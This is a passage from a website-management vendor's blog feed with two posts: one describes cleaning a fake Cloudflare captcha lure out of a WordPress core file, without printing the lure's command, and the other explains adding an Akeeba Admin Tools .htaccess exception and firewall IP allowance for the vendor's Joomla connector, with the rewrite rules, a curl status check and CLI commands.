&lt;h2&gt;How do I clean a fake captcha out of WordPress core?&lt;/h2&gt;
&lt;p&gt;Put the core file back first, then go looking for everything else, because the modified core file is the symptom you can see and the way in is the one you cannot.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Put the core file back.&lt;/strong&gt; The integrity check lists every core file modified since release, shows the change, and reverts it to the original. Without mySites.guru, &lt;a href=&quot;https://developer.wordpress.org/cli/commands/core/verify-checksums/&quot;&gt;&lt;code&gt;wp core verify-checksums&lt;/code&gt;&lt;/a&gt; lists every core file that differs from WordPress.org’s checksums, and you replace each one from a clean copy of the same version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the usual places.&lt;/strong&gt; The active theme’s &lt;code&gt;functions.php&lt;/code&gt; and &lt;code&gt;header.php&lt;/code&gt;, the plugins folder, mu-plugins, and the database. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;half of a WordPress hack that is not a file&lt;/a&gt; lives in &lt;code&gt;wp_options&lt;/code&gt; rows, scheduled WP-Cron events, drop-ins and hidden administrators, and any of those can put the lure back after you revert the file, as can &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;a crontab you did not write&lt;/a&gt;. Files added to folders that WordPress owns but never shipped are an &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;impostor-file check&lt;/a&gt; of their own.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for a second WordPress install.&lt;/strong&gt; The site in this post had one nested inside the live one, infected. A nested copy has its own files and its own database tables, and a clean-up that only touches the outer site leaves it running.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remove unknown administrators and reset passwords.&lt;/strong&gt; Delete any administrator you did not create, then change the password on every account that remains, plus the database and hosting passwords.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find the way in, then re-audit.&lt;/strong&gt; Close the entry point or the lure comes back. Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;full audit&lt;/a&gt; afterwards and keep running them, because a site &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;cleaned yesterday is exploited again today&lt;/a&gt; when the door is still open.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The same checks run on every connected site from the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt;. If you would rather hand the whole job over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; takes a hacked site at a set fee.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A modified core file means the site is hacked, not just the file&lt;/p&gt;&lt;div&gt;&lt;p&gt;Reverting &lt;code&gt;wp-includes/functions.php&lt;/code&gt; takes the lure away from your visitors and leaves the way in exactly where it was. Treat the revert as the first step of a clean-up, and the audit after it as the one that counts.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do I clean a fake captcha out of WordPress core with mySites.guru tools?&lt;/h2&gt;
&lt;p&gt;The same clean-up, without an FTP client or a WP-CLI session, from the audit that found the problem. Work down the list in this order, because each step removes something the next one would otherwise trip over.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Revert the core file.&lt;/strong&gt; Open the core file integrity check, click &lt;code&gt;wp-includes/functions.php&lt;/code&gt;, and you get a side-by-side diff with the original on the left and the infected copy on the right. &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Revert it to the original&lt;/a&gt; from there.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear the files.&lt;/strong&gt; Start with &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked Files&lt;/a&gt;, where every entry is confirmed, then work down &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt;. Click any file to see the exact matched lines, then edit it in place or delete it. Anything you cannot judge by eye goes through the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt;. For anything outside the flagged lists, the opt-in &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; lets you browse, edit, upload and delete files across the whole site with no SFTP client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear what is not a file.&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-wp-cron-events/&quot;&gt;Malicious WP-Cron Events&lt;/a&gt; lets you unschedule the event that would rewrite what you just deleted. &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/suspect-wp-options/&quot;&gt;Suspect WP Options&lt;/a&gt; shows a flagged row a value at a time and deletes it. &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/must-use-plugins-and-drop-ins/&quot;&gt;Must-Use Plugins and Drop-ins&lt;/a&gt; lists every must-use plugin and drop-in WordPress loads, with any hidden one flagged, and &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-cron-jobs/&quot;&gt;Malicious Cron Jobs&lt;/a&gt; reads the server crontab for a job that downloads the payload again.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remove the attacker’s way back in.&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-and-hidden-administrators/&quot;&gt;Rogue and Hidden Administrators&lt;/a&gt; reads the administrator list straight from the database as well as the way your Users screen does, and deletes an account with its content reassigned to one that stays. A password reset never revokes Application Passwords, so &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-wordpress-application-passwords-after-a-hack/&quot;&gt;revoke every WordPress Application Password&lt;/a&gt; in one click as well.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-audit, and keep auditing.&lt;/strong&gt; Run a fresh audit and check that Hacked Files is empty, the core file integrity check is clean and the Suspect content list holds nothing you have not already judged. Every connected site gets the same checks, so one fake captcha is a reason to look at the other sites in that hosting account too.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the site is too far gone to do it yourself, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; does the whole clean-up at a set fee.&lt;/p&gt;
&lt;h2&gt;How This Shows Up in Real Life&lt;/h2&gt;
&lt;p&gt;The report came in on 19 October 2026 from an agency customer. Visitors to one of their WordPress sites were being shown a fake Cloudflare “verify you are human” box telling them to open the Windows Run box and paste a command. While looking, the agency also found what they described as “an infected WP site inside the live WP site”: a second WordPress install, nested inside the first, and infected as well.&lt;/p&gt;
&lt;p&gt;Their mySites.guru audit had already flagged the core file as modified and matched the injected code under Suspect content, with Hacked Files empty, and their complaint that they would consider the site hacked was the right one. By the end of the day the connector had the two new fingerprints, the AI prompt named the lure, and I had confirmed the infected files by hand, so a fresh audit lists them in Hacked Files.&lt;/p&gt;
&lt;p&gt;We do not name the customer or the site in these posts. A fake Cloudflare captcha on a WordPress site is an attack on your visitors delivered through your domain. It can sit in a core file none of the guides tell you to open, and a scanner that only knows bad files by their hashes will never see it. If a visitor tells you they saw one, read the first few lines of &lt;code&gt;wp-includes/functions.php&lt;/code&gt; before you read anything else, and then audit the whole site, because the file is never the whole hack.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape&quot;&gt;Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape&lt;/a&gt; by Proofpoint, 18 November 2024 - the team that first saw the technique in March 2024 and named it, describing the &quot;Verify You Are Human&quot; fake CAPTCHA lure&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique&quot;&gt;Think before you Click(Fix): Analyzing the ClickFix social engineering technique&lt;/a&gt; by Microsoft Threat Intelligence, 21 August 2025 - lists compromised websites as one of the main ways the lure reaches a victim&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/?p=35075&quot;&gt;Fake Cloudflare verification injected into theme header.php&lt;/a&gt; by Sucuri, 21 May 2025 - the same lure planted in the header.php of every installed theme, with victims told to press Win+R and paste a PowerShell command&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/&quot;&gt;Malicious websites: WordPress compromise advances global stealer operation&lt;/a&gt; by Rapid7, 10 March 2026 - 250+ WordPress sites in 12+ countries serving a fake Cloudflare CAPTCHA since December 2025, with the script hiding itself from logged-in administrators&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/cli/commands/core/verify-checksums/&quot;&gt;wp core verify-checksums&lt;/a&gt; in the WP-CLI documentation - verifies every WordPress core file against WordPress.org&apos;s published checksums&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>hacked</category><category>hack detection</category><category>clickfix</category><enclosure url="https://mysites.guru/img/og/blog/fake-cloudflare-captcha-wordpress-core-functions-php.png" length="0" type="image/png"/></item><item><title>How to add exception for mySites.guru in Admin Tools</title><link>https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/</link><guid isPermaLink="true">https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/</guid><description>Admin Tools&apos; .htaccess Maker gives mySites.guru a 403 on Joomla until plugins/system/bfnetwork is in the right exception list. Which one, and why backups fail.</description><pubDate>Mon, 19 Oct 2026 11:50:51 GMT</pubDate><content:encoded>&lt;p&gt;A Joomla site running &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/server-protection.html&quot;&gt;Akeeba’s Admin Tools Professional&lt;/a&gt; can block mySites.guru in two separate places, with two separate symptoms. The .htaccess Maker returns 403 Forbidden to the connector itself, so connecting or reconnecting the site fails. The Web Application Firewall bans our IP after a handful of blocked requests, and the only thing that stops working is backups. This post is the reference for both: which list the exception goes in, what to type, what it writes into .htaccess, and why fixing one does nothing for the other.&lt;/p&gt;
&lt;p&gt;mySites.guru already points you at the first fix. When the last connection error for a site contains a 403, the reconnect screen tells you to add the .htaccess Maker exception. For the second, the Backup tab spots the WAF ban during the twice-daily snapshot and clears it in one click. What follows is the long version, for anyone who wants to do it by hand or understand what the buttons change.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;div&gt;&lt;p&gt;In the Joomla administrator go to Components, Admin Tools, Server Config. File Maker, open the .htaccess Maker and find the Server protection card. In the list labelled “Allow direct access, including .php files, to these directories” add a new row with the path &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt;, then choose “Save and create .htaccess”. If audits run but backups fail with 403, that is the Web Application Firewall instead: click “Unblock our IP” on the site’s Backup tab in mySites.guru, or add 178.62.5.35 to “Never block these IPs” in the WAF.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What Is Akeeba Admin Tools?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt; is a Joomla extension from Akeeba Ltd, whose founder and lead developer Nicholas K. Dionysopoulos has been building it since 2010. Akeeba also makes Akeeba Backup, the extension mySites.guru drives when it takes a backup of your Joomla site. Akeeba describes Admin Tools as “Administration and security improvements for Joomla! sites”. It comes in two editions, Core (free) and Professional (paid), and there is a separate Admin Tools for WordPress with its own feature set.&lt;/p&gt;
&lt;p&gt;Core covers the housekeeping side: Password-protect Administrator, Emergency Off-Line, Fix Permissions, Database Tools, Clean Temp-Directory, Temporary Super Users, Obsolete Core Files and the Site IP Allow List. Professional adds the parts that actively defend the site: the Web Application Firewall (with Configure WAF, automatic IP blocking of repeat offenders, the Site IP Disallow List and a Blocked Request Log), the .htaccess Maker along with an NginX Configuration Maker and a web.config Maker for other web servers, the PHP File Change Scanner, and a set of Joomla CLI commands. The current release supports Joomla 4.4 to 6.2.&lt;/p&gt;
&lt;p&gt;We recommend it. One of mySites.guru’s own checks, “Use A Joomla Core Or Akeeba Admin Tools .htaccess File”, points you at the Admin Tools .htaccess builder because it produces a tighter file than Joomla’s stock htaccess.txt, and in our own AcyMailing disclosure the Professional WAF &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;blocked a real SQL injection attack in its default settings&lt;/a&gt;. Those two Professional features, the .htaccess Maker and the Web Application Firewall, are also the two that block mySites.guru, each in its own way. The rest of this post covers the two settings that let Admin Tools keep doing its job while mySites.guru does ours.&lt;/p&gt;
&lt;h2&gt;Which Admin Tools Block Is Your Joomla Site Hitting?&lt;/h2&gt;
&lt;p&gt;A 403 when you connect or reconnect the site, or on every audit, is the .htaccess Maker. Audits and snapshots running normally while every backup fails with 403 Forbidden is the Web Application Firewall. The two features do not affect each other, so match the symptom before changing anything, or you will fix the wrong one and conclude the fix does not work.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;.htaccess Maker&lt;/dt&gt;&lt;dd&gt;Symptom: 403 Forbidden on connect, reconnect or audit, and nothing from mySites.guru works. Cause: Server Protection rules in .htaccess block any .php file under plugins/ before PHP runs. Fix: add plugins/system/bfnetwork to the list that allows direct access including .php files, then write the new .htaccess.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Web Application Firewall&lt;/dt&gt;&lt;dd&gt;Symptom: audits, snapshots and tools all work, but backups fail with 403 Forbidden. Cause: the WAF auto-banned the mySites.guru IP after repeated blocked requests, and backups are the one job that goes through index.php. Fix: click Unblock our IP in mySites.guru, or add 178.62.5.35 to Never block these IPs in the WAF.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;h2&gt;How Admin Tools’ .htaccess Maker Blocks the Joomla Connector&lt;/h2&gt;
&lt;p&gt;On Joomla, mySites.guru connects through a system plugin installed at &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt;. Its PHP files live one level down, in &lt;code&gt;plugins/system/bfnetwork/bfnetwork/&lt;/code&gt;, and the service requests them directly over HTTPS rather than through Joomla’s &lt;code&gt;index.php&lt;/code&gt;. The connection test is &lt;code&gt;bfPing.php&lt;/code&gt;; audits, snapshots, tools, auto-login, restores and upgrades each have their own entry points, and there are more than fifty PHP files in that folder. We have written before about hosts misreading &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;the bfnetwork connector plugin&lt;/a&gt;, and the .htaccess Maker misreads it in a similar way: as a stray PHP file in a folder where PHP should not run.&lt;/p&gt;
&lt;p&gt;Server Protection is designed to stop that. With “Frontend protection” on, which is the default, the .htaccess Maker writes rules that only allow listed file types inside the “Frontend directories where file type exceptions are allowed”. The default set is components, modules, templates, files, images, plugins, media and libraries. PHP is not an allowed type, so any &lt;code&gt;.php&lt;/code&gt; request under &lt;code&gt;plugins/&lt;/code&gt; gets 403 Forbidden:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^(components|modules|templates|files|images|plugins|media|libraries)/.*\.(jpe|jpg|...)$&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [L,NC]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^(components|modules|templates|files|images|plugins|media|libraries)/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is a second, site-wide option that does the same job more broadly: “Disallow access to all other PHP files throughout the site, unless they are explicitly allowed”. It writes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; (\.php)$&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; (.*\.php)$&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Either way Apache blocks the request before a single line of PHP runs. The connector does not see it and Admin Tools’ own firewall does not see it either, which is why no WAF setting, allow list or log entry has any bearing on this 403. The fix has to be in the same place as the block: the generated &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Adding the Exception in the Joomla .htaccess Maker, Step by Step&lt;/h2&gt;
&lt;p&gt;You need Admin Tools Professional; the free Core edition has no .htaccess Maker, and a Core site returning 403s has a different cause (covered at the end). Labels below are from Admin Tools 7.9.3. Older documentation and forum threads call the page the “.htaccess Maker”, Admin Tools 7 lists it under Server Config. File Maker, and both names refer to the same page.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Check the label word by word before you type&lt;/p&gt;&lt;div&gt;&lt;p&gt;Admin Tools puts three exception boxes one after another, and their labels are nearly identical:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;“Allow direct access to these files”&lt;/li&gt;
&lt;li&gt;“Allow direct access, except .php files, to these directories”&lt;/li&gt;
&lt;li&gt;“Allow direct access, including .php files, to these directories”&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The mySites.guru exception goes in the third box only, the one that says &lt;strong&gt;including .php files&lt;/strong&gt; and ends in &lt;strong&gt;directories&lt;/strong&gt;. The second box differs by a single word and looks right, but it keeps every PHP file blocked, so the connector still gets a 403. The first box is for single files: do not put &lt;code&gt;bfPing.php&lt;/code&gt;, or any other connector file, in it by name. Allow the whole &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt; folder in the third box instead. If the connection still fails after you save, the wrong box is the first thing to check.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;In the Joomla administrator go to Components, Admin Tools, Server Config. File Maker, and open the .htaccess Maker.&lt;/li&gt;
&lt;li&gt;The page has no tabs. It is a stack of cards: “Basic security”, “Server protection”, “Custom .htaccess rules”, “Optimisation and utility” and “System configuration”. Open “Server protection”.&lt;/li&gt;
&lt;li&gt;Scroll to the sub-heading “Exceptions from Server Protection”. These lists are only shown while “Backend protection” or “Frontend protection” is set to Yes, so if you cannot see them, that is why.&lt;/li&gt;
&lt;li&gt;Find the third box, labelled “Allow direct access, including .php files, to these directories”. Read the label to the end before typing: it must say “including .php files” and “directories”. This box has one default row, &lt;code&gt;installation&lt;/code&gt;, which is a good way to confirm you are in the right one. Leave that row alone.&lt;/li&gt;
&lt;li&gt;Use the Add button to create a new row. Each row shows a fixed &lt;code&gt;/&lt;/code&gt; in front of the text box, so enter the path with no leading slash, no trailing slash and no domain: &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt;. A full URL will not match.&lt;/li&gt;
&lt;li&gt;Choose “Save and create .htaccess”. The same dropdown also has “Save without creating .htaccess” and “Preview”. If you use the plain save, Admin Tools reports “Changes have been successfully saved. Do not forget to apply them by creating the new .htaccess file” and the file on disk stays as it was, which catches a lot of people out.&lt;/li&gt;
&lt;li&gt;On success Admin Tools reports “The new .htaccess has been written to disk”. Your previous file is kept as &lt;code&gt;.htaccess.admintools&lt;/code&gt; in the site root, which is your rollback if anything else on the site objects.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the site runs on NginX or IIS, the NginX Configuration Maker and the web.config Maker have the same three lists with the same labels and defaults. The same path goes in the same-named list, followed by “Save and create nginx.conf” or “Save and create web.config”.&lt;/p&gt;
&lt;h3&gt;Which of the Three “Allow Direct Access” Lists?&lt;/h3&gt;
&lt;p&gt;Three lists sit next to each other under Exceptions from Server Protection, with similar names, and picking the wrong one is the commonest reason the fix “does not work”. Their labels and defaults in 7.9.3:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Allow direct access to these files&lt;/dt&gt;&lt;dd&gt;Individual files. Defaults: the restore.php scripts of Akeeba Backup (com_akeeba and com_akeebabackup) and of Joomla Update (com_joomlaupdate), plus Joomla Update&apos;s extract.php, all under administrator/components. Wrong for mySites.guru, because the service calls many files in the connector folder and new ones arrive as features ship.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Allow direct access, except .php files, to these directories&lt;/dt&gt;&lt;dd&gt;Whole directories, but PHP stays blocked. Default: .well-known. Looks right and does not help, because the files we need are the PHP ones.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Allow direct access, including .php files, to these directories&lt;/dt&gt;&lt;dd&gt;Whole directories, PHP included. Default: installation. This is the one. Add plugins/system/bfnetwork here.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;The first list is how Akeeba handles its own direct-access scripts: Akeeba Backup’s &lt;code&gt;restore.php&lt;/code&gt; is in it by default. Never use it for the mySites.guru connector. Listing &lt;code&gt;bfPing.php&lt;/code&gt; or any other connector file by name lets that one file through while the rest of the connector keeps getting 403, and every new release adds files the list does not know about. Allow the whole &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt; folder in the directory list instead.&lt;/p&gt;
&lt;h3&gt;What the Exception Writes into .htaccess&lt;/h3&gt;
&lt;p&gt;The third list writes one line into a block marked &lt;code&gt;##### Advanced server protection rules exceptions -- BEGIN&lt;/code&gt; and &lt;code&gt;-- END&lt;/code&gt;, which Admin Tools places before the &lt;code&gt;##### Advanced server protection -- BEGIN&lt;/code&gt; block:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^plugins\/system\/bfnetwork/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [L]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Admin Tools escapes the slashes and dots for the regex. The &lt;code&gt;[L]&lt;/code&gt; flag stops rewrite processing for anything matching that path, so the &lt;code&gt;[F]&lt;/code&gt; rules further down do not apply to it. Compare that with what the “except .php files” list writes for the same path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; !(\.php)$&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_FILENAME}&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^plugins\/system\/bfnetwork/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [L]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first condition only matches requests that do not end in &lt;code&gt;.php&lt;/code&gt;. Connector requests all end in &lt;code&gt;.php&lt;/code&gt;, so they skip that rule, never stop at &lt;code&gt;[L]&lt;/code&gt;, and fall through to the Forbidden rule as before. Side by side the mistake is easy to see. In the admin screen the two labels differ by one word.&lt;/p&gt;
&lt;p&gt;A few rules are written before the exceptions block, so an exception does not bypass them: “Restrict access by IP” (default None, intended for sites behind a load balancer, reverse proxy or CDN), “Block access from specific user agents” (default Off), the common-exploits rewrite rules and file injection protection. If “Restrict access by IP” is set to a custom list, the mySites.guru IP 178.62.5.35 has to be on it as well, or the exception never gets a chance to apply.&lt;/p&gt;
&lt;h2&gt;Is a Directory Exception Safe on a Joomla Site?&lt;/h2&gt;
&lt;p&gt;Akeeba’s documentation is blunt about the PHP list: “This option should be used sparingly as possible. Each and every directory placed in this list is no longer protected by Server Protection AT ALL”, and it recommends the per-file list wherever that will do. For a random folder, we agree. The connector is a case where the directory list is the right tool.&lt;/p&gt;
&lt;p&gt;The service calls many files in that folder directly, and the set changes between releases, so a per-file exception breaks with no warning the first time a release adds an entry point. And &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;every request to the connector is encrypted&lt;/a&gt; and must include your site’s connector key, so letting Apache pass a request to PHP is not the same as letting anyone use it.&lt;/p&gt;
&lt;p&gt;Keep the exception to &lt;code&gt;plugins/system/bfnetwork&lt;/code&gt;, not &lt;code&gt;plugins&lt;/code&gt; or &lt;code&gt;plugins/system&lt;/code&gt;, and leave the rest of the Server protection card as it is. Server Protection should stay on: it is the feature that &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;disables PHP in a list of directories&lt;/a&gt;, which is where an upload flaw drops its payload. We also stand by what we said about &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;treating .htaccess as a security layer&lt;/a&gt;: it limits damage after a compromise, and an exception for one authenticated folder does not change that.&lt;/p&gt;
&lt;h2&gt;Checking the Fix Worked on Your Joomla Site&lt;/h2&gt;
&lt;p&gt;The quickest test is a request for the connection test file from your own machine, before and after writing the new .htaccess. Replace example.com with the site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -sI&lt;/span&gt;&lt;span&gt; https://example.com/plugins/system/bfnetwork/bfnetwork/bfPing.php&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; head&lt;/span&gt;&lt;span&gt; -1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before the fix the first line is &lt;code&gt;HTTP/2 403&lt;/code&gt; (or &lt;code&gt;HTTP/1.1 403 Forbidden&lt;/code&gt; on older servers). After the fix, anything other than 403 means the server let PHP run. The file expects an encrypted request, so it will not print anything useful to a browser or to curl, and that is fine; the status code is what you are testing. &lt;code&gt;bfPing.php&lt;/code&gt; is only the file the test requests; the exception is still the whole folder, never this file on its own. Then in mySites.guru, run the test connection for the site from the reconnect screen, or refresh the site.&lt;/p&gt;
&lt;p&gt;You can also open the site’s &lt;code&gt;.htaccess&lt;/code&gt; and search for &lt;code&gt;bfnetwork&lt;/code&gt;. The line should be inside the exceptions block, above the Advanced server protection block. If it is below it, or missing, the file on disk was not regenerated after the setting changed.&lt;/p&gt;
&lt;h2&gt;Doing It from the Command Line on Many Joomla Sites&lt;/h2&gt;
&lt;p&gt;Admin Tools Professional 7.x includes Joomla CLI commands, and for an agency with dozens of sites that is a better route than clicking through each administrator. These are taken from the Admin Tools 7.9.3 command definitions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt; cli/joomla.php&lt;/span&gt;&lt;span&gt; admintools:htmaker:get&lt;/span&gt;&lt;span&gt; --key=fullaccessdirs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt; cli/joomla.php&lt;/span&gt;&lt;span&gt; admintools:htmaker:set&lt;/span&gt;&lt;span&gt; --key=fullaccessdirs&lt;/span&gt;&lt;span&gt; --add=plugins/system/bfnetwork&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt; cli/joomla.php&lt;/span&gt;&lt;span&gt; admintools:htmaker:make&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt; cli/joomla.php&lt;/span&gt;&lt;span&gt; admintools:ipallow:add&lt;/span&gt;&lt;span&gt; --ip=178.62.5.35&lt;/span&gt;&lt;span&gt; --description=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;mySites.guru&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fullaccessdirs&lt;/code&gt; is the field behind “Allow direct access, including .php files, to these directories”. Run &lt;code&gt;htmaker:get&lt;/code&gt; first so you can see what is already there, and &lt;code&gt;htmaker:make --preview&lt;/code&gt; before the real &lt;code&gt;make&lt;/code&gt; so you can check the generated file before it is written. The last command is the WAF side of the job, covered next; it adds our IP to the Site IP Allow List so the firewall never bans it in the first place.&lt;/p&gt;
&lt;h2&gt;Why Joomla Backups Fail When Everything Else Works&lt;/h2&gt;
&lt;p&gt;Admin Tools Professional’s Web Application Firewall bans an IP after repeated blocked requests. The defaults in 7.9.3 are “IP blocking of repeat offenders” on, “Block IP after this many blocked requests” 3, “Time period” 10, “Unit of time measurement” second, with an optional “Add persistent offenders to the IP Disallow List” that is off by default. Three blocked requests in ten seconds and the IP is banned.&lt;/p&gt;
&lt;p&gt;Every mySites.guru request comes from one IP, 178.62.5.35 (the uptime monitor is separate, on 165.227.239.229, and the full list is at &lt;a href=&quot;https://manage.mysites.guru/ips&quot;&gt;our IP addresses&lt;/a&gt;). So a ban applies to the whole service at once. What makes it hard to spot is that most of the service never notices.&lt;/p&gt;
